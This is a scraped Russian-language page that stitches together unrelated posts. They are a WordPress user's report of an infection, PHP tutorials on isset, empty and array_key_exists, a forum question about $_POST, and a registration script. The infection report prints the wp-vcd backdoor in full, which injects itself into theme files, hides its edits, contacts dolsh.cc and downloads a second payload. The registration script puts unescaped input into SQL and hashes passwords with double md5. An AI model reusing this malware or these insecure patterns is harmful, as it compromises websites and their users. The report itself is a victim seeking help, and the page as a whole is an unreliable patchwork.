If isset

Я использую Wordfence для сканирования файлов. И сканирование показывает результаты:

  • функция functions.php в 20-й теме также содержит тот же код, что и выше.
  • В папке wp-includes есть странный файл «wp-vcd.php». Файл содержит следующий код:

        
    <?php error_reporting(0); ini_set('display_errors', 0); $install_code = 'PD='; $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT); $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code )); $themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes'; $ping = true; $ping2 = false; if ($list = scandir( $themes )) { foreach ($list as $_) { if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) { $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'); if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) { if (strpos($content, 'WP_V_CD') === false) { $content = $install_code . $content ; @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content); touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time ); } else { $ping = false; } } } else { $list2 = scandir( $themes . DIRECTORY_SEPARATOR . $_); foreach ($list2 as $_2) { if (file_exists($themes .
    RECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) { $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'); if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) { if (strpos($content, 'WP_V_CD') === false) { $content = $install_code . $content ; @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content); touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php' , $time ); $ping2 = true; } else { //$ping = false; } } } } } } if ($ping) { $content = @file_get_contents('http://www.dolsh.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash); @file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.dolsh.cc/admin.txt')); } if ($ping2) { $content = @file_get_contents('http://www.dolsh.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash); @file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.dolsh.cc/admin.txt')); //echo ABSPATH . 'wp-includes/class.wp.php'; } } ?><?php error_reporting(0);?>

  • В папке wp-includes этот код отображается вверху в файле post.php.

      <?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?><?php 
  • В папке wp-includes есть странный файл «wp-feed», содержащий следующие строки:

      ::1 127.0.0.1 

Теперь после того, как я удалил код из всех функций theme.php и связанного файла и удалил странные файлы. Я заметил, что этот код не возвращается.


Эта проблема возникает из плагинов, которые я загружаю с веб-сайтов, которые предоставляют бесплатные плагины.

www.wordpressask.com

Навеяно проблемой, с которой я столкнулся из-за неправильного использования функции isset() в одном китайском движке интернет магазина. Там isset() применялась для определения существования элемента массива с некоторым ключом. Самое неприятное в данной ситуации то, что такую ошибку допускают многие. Это не первый случай, когда isset() используется именно в таком контексте, хотя это в корне неверно. Но в этот раз неграмотность разработчиков стоила мне потерянного времени, что и сподвигло меня на эту заметку.


Еще больше меня «порадовали» комментарии одного «незнакомого» знакомого, который удивился моему негодованию. Как оказалось, о существовании функции array_key_exists() он что-то слышал, но сам никогда ею не пользовался. Более того, где-то читал, что ее лучше заменять на isset(), так как последняя работает быстрее.

Собственно, об уровне квалификации PHP программистов сказано немало и добавить к этому нечего.

Инициализация и удаление переменной в PHP

В PHP переменная инициализируется в момент присваивания ей значения. Неинициализированной переменная считается в двух случаях:

  • ей не присваивалось никакого значения;
  • ей было присвоено значение типа NULL или она была передана функции unset().

Присваивание NULL значения удаляет переменную, аналогично функции unset(), то есть делает ее неинициализированной.

Если попытаться использовать переменную, которая была удалена с помощью unset(), будет сгенерирована ошибка уровня E_NOTICE. С переменной, приведенной к NULL, такого не произойдет.

Функция isset()

Функция проверяет факт инициализации переменной. isset() вернет false, если передать ей в качестве параметра неинициализированную переменную. Тоже самое произойдет и с ключом массива, который имеет NULL значение. Для ключей массива действуют такие же правила приведения к NULL, как и для переменных.

$nullVar = null;    var_dump($nullVar);    $array = array(   'key_str' => 'foo',   'key_null' => null,   'key_int' => 1  );    var_dump($array);    

Результат:

  null    array   'key_str' => string 'foo' (length=3)   'key_null' => null   'key_int' => int 1  

Функция array_key_exists()

Работа функции array_key_exists() похожа на isset(), но с той лишь разницей, что даже для ключа с NULL значением будет возвращено TRUE.

$array = array(   'key_str' => 'foo',   'key_null' => null,   'key_int' => 1  );    var_dump(array_key_exists('key_null', $array)); // Вернет boolean true

Чтобы полностью удалить пару ключ-значение необходимо использовать unset().

Для массива использование NULL значения ключа удобно, если наличие ключа требуется сохранить. Можно будет рассчитывать на контекст, в котором данный ключ будет использован. Например, это удобно при заполнении полей формы дефолтными значениями. Например, при использовании конструкции echo, NULL значение будет приведено к пустой строке.

То, к чему я клоню, мне кажется очевидным. Если вы работаете с ключами массива, то используйте именно ту функцию, которая для этого предназначена. Ко всему прочему, использование array_key_exists() позволяет точно понять логику приложения. Никакой двусмысленности не возникает.

Скорость работы isset() и array_key_exists()

О том, что array_key_exists() работает медленнее isset() пишут даже в комментариях к соответствующей странице PHP мануала. Жалуются на то, что более медленная работа array_key_exists() заметна на массивах с количеством пар ключ-значение, превышающих 200.

Ничего не остается, как прогнать банальный тест:

   
$testArray = array( 883209 => 568420, 553314 => 266114, 133088 => 367615, // ... ); $timerStart = microtime(); for ($i = 0; $i < 100000; $i++) { //if (isset($testArray[rand(1, 99999)])); if (array_key_exists(rand(1, 99999), $testArray)); }; $timerEnd = microtime(); echo $timerEnd - $timerStart;

Ассоциативный массив $testArray содержит 10 000 элементов. Это несколько больше, чем упомянутые 200.

Далее прогоняем цикл с количеством итераций 100 000. В теле цикла, по очереди, сначала делаем проверку с помощью isset(), затем с помощью array_key_exists(). Ключ, наличие которого проверяем, генерируется случайным образом, чтобы свести к минимуму вероятность его существования в массиве.

isset() array_key_exists()
0.687027 0.728652

Тест, безусловно, очень простой и достаточно субъективный. Было бы неплохо сделать замеры используемой памяти, например. Но глядя на результаты этого теста, у меня нет никакого желания продолжать заниматься мышиной возней. Очевидно, что выигрыша в скорости попросту нет.

Функция isset() и свойства объекта

Совсем клиническим случаем можно считать использование isset() для проверки существования свойства у объекта.

Не так часто, как в случае с массивами, но доводится встречать подобные условия:

   
class Foo { public $property = null; public function __construct() { } } $object = new Foo(); if (!isset($object->property)) { echo 'property not exists'; }

Случай вопиющий, так как использование NULL в качестве дефолтного значения свойств – очень распространенная практика. И проверять наличие свойства объекта через isset() просто недопустимо.

Для проверки существования свойства у объекта в PHP существует функция property_exists(). Как и array_key_exists(), property_exists() вернет TRUE даже в том случае, если значение свойства приведено к NULL.

Также замечу, что для использования property_exists() не требуется наличие объекта класса. Проверку можно произвести по имени класса и имени свойства.

class Foo  {   public $property = null;     public function __construct() {      }  }    var_dump(property_exists('Foo', 'property')); // Вернет true

Такое вот занимательное программирование.


omurashov.ru

Как бы не ругали PHP за слабую и плохую типизированность помноженную на кучу функций на все случаи жизни, у него есть полно плюсов как простота при подходе к решению задач, обилие инструментов по умолчанию и т.д.

Один вот нюанс я заметил, что часто встречается у разработчиков на PHP это люди путают назначение функций empty и isset.

Вот вам пример, как вам кажется этот код хорош или нет?

if(isset($params['alias'])) $where[] = 'alias = "'.addslashes($params['alias']).'"';

я даже не буду ничего говорить про addslashes без проверки magic_quotes* если вы не новичок вам и так понятно, да и всё же дальше используется dibi библиотека в которой есть гибкий и очень удобный конструктор запросов и плэйсхолдер по умолчанию. Что люди не используют всех возможностей библиотек и так ясно, это просто лень почитать одностраничный ман.

Речь не об этом, речь об isset и empty.

Что мы знаем об empty? Это на самом деле простая директива или конструкция языка, которая проверяет переменную на пустоту и не выдаёт предупреждения, если даже переменная не определена, то есть она совмещает в себе функцию isset

empty() is the opposite of (boolean) var, except that no warning is generated when the variable is not set.)


Второе, что такое пустота для PHP. Именно за такие вещи многие не любят PHP или многие не любят после PHP другие языки, когда пустота в них имеет определенное значение например nil (Ruby, puts nil.class) или undefined (JS).

В PHP пустота это 0, "", array(), 0.0, FALSE, Null или просто даже без значения определенная переменная:

The following things are considered to be empty:
"" (an empty string)
0 (0 as an integer)
0.0 (0 as a float)
«0» (0 as a string)
NULL
FALSE
array() (an empty array)
var $var; (a variable declared, but without a value in a class)

История с isset вообще проще, это так же конструкция языка, которая проверяет только две вещи: объявлена ли переменная ($var; например) и не является ли она NULL!
Всё!

То есть получается, что вот код.

$name = '';  if( isset($name) ) echo "Hello {$name}n";  if( !empty($name) ) echo "Good night {$name}n";

Выдаст всё же не тот что нам как бы нужен:
> Hello

Так и выше код соберётся с ненужным условием и даже скорее неправильным (!!!) условием, когда было происходит сбор параметров

   $params['alias'] = $_GET['alias'];  ...  // сбор sql запроса, для PHP переменная $params['alias'] всё же объявлена, НО ПУСТАЯ!  if(isset($params['alias'])) $where[] = 'alias = "'.addslashes($params['alias']).'"';  

ваш SQL запрос получится смешного вида alias = '', хотя я уверен вам бы хотелось видеть его совсем иного вида.

Поэтому я всё же правильнее понимать отличия где и когда использовать isset и empty.

Удачи, оставайтесь на стороне разума!

ufacode.ru

Я имею простую форму, как показано ниже:

<form action="" method="post"> <input type="text" /> <input type="submit" value="SEND" /> </form> 

Когда я пытаюсь получить данные, отправленные из этой формы, через if($_POST) , я терпит неудачу, но когда вы пытаетесь использовать isset , я получаю успех.

  • Проверка правильной формы ответа и отправки
  • проблема с загрузкой изображений с загрузкой файла php
  • Кодировать строку для соответствия имени поля кодированной формы в массиве PHP POST
  • Могу ли я POST и GET на той же странице PHP
  • Пропущенные массивы теряют все, кроме первого элемента
 if($_POST){ echo 'a'; //Doesn't print anything. } if(isset($_POST)){ echo 'b'; //Prints 'b' } 

Я предполагаю, что причиной этого является отсутствие атрибута имени в моей форме ввода, но я не могу понять, почему if($_POST) и isset($_POST) реагируют на разные способы в этом случае.

ruphp.com

<?php  error_reporting(E_ALL); ini_set('display_errors', 1);  if(isset($_POST['submit'])) {  $err = array();  # проверям user  if(!preg_match("/^[a-zA-Z0-9]+$/",$_POST['user']))  {  $err[] = "имя пользователя может состоять только из букв английского алфавита и цифр";  }  if(strlen($_POST['user']) < 3 or strlen($_POST['user']) > 30)  {  $err[] = "имя пользователя не должно содержать менее 3-х символов и более 30";  }  # проверяем, не сущестует ли user с таким именем  $query = mysql_query("SELECT COUNT(user_id) FROM users WHERE user_user='".mysql_real_escape_string($_POST['user'])."'");  if(mysql_result($query, 0) > 0)  {  $err[] = "пользователь с таким именем уже существует";  }  # проверям email  if(!preg_match("'/[^(w)|(@)|(.)|(-)]/'",$_POST['email']))  {  $err[] = "неправильно введен E-Mail адрес";  }  # Если нет ошибок, то добавляем в БД нового пользователя  if(count($err) == 0)  {  $user = $_POST['user'];  # Убираем лишние пробелы и делаем двойное шифрование  $pass = md5(md5(trim($_POST['pass'])));  $email = $_POST['email'];  mysql_query("INSERT INTO users SET user_user='".$user."', user_pass='".$pass."', user_email='".$email."'");    header("Location: profile.php"); exit();  }  else  {  print "При регистрации произошли следующие ошибки:<br>";  foreach($err AS $error)  {  print $error."<br>";  }  } } ?> <!doctype html> <html lang="en">  <head>  <meta charset="utf-8">  <title>Site - Registration</title>   <script src="js/js.js"></script>   <link rel="stylesheet" href="css/style.css">   <meta http-equiv="X-UA-Compatible" content="chrome=1">  <meta name="viewport" content="width=600">  </head>  <body class="login">   <header class="top">  <div class="wrap">  <aside class="logo">  <a href="register.php">Регистрация</a>  </aside>  </div>  </header> <section class="login content">   <form method="post" action="register.php">   <fieldset>  <p><label for="user">Username:</label>  <input id="user" autocapitalize="off" autofocus="true" placeholder="Username" type="text" name="user"></p>   <p><label for="pass">Password:</label>  <input id="pass" placeholder="Password" type="password" name="pass"></p>   <p><label for="email">E-Mail:</label>  <input id="email" autocapitalize="off" autofocus="true" placeholder="E-Mail" type="text" name="email"></p>    <button type="submit">Registration</button></p>  </fieldset>   </form>  </section>  </body> </html>

phpclub.ru


You May Also Like

About the Author: admind

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Этот сайт использует Akismet для борьбы со спамом. Узнайте как обрабатываются ваши данные комментариев.

Adblock
detector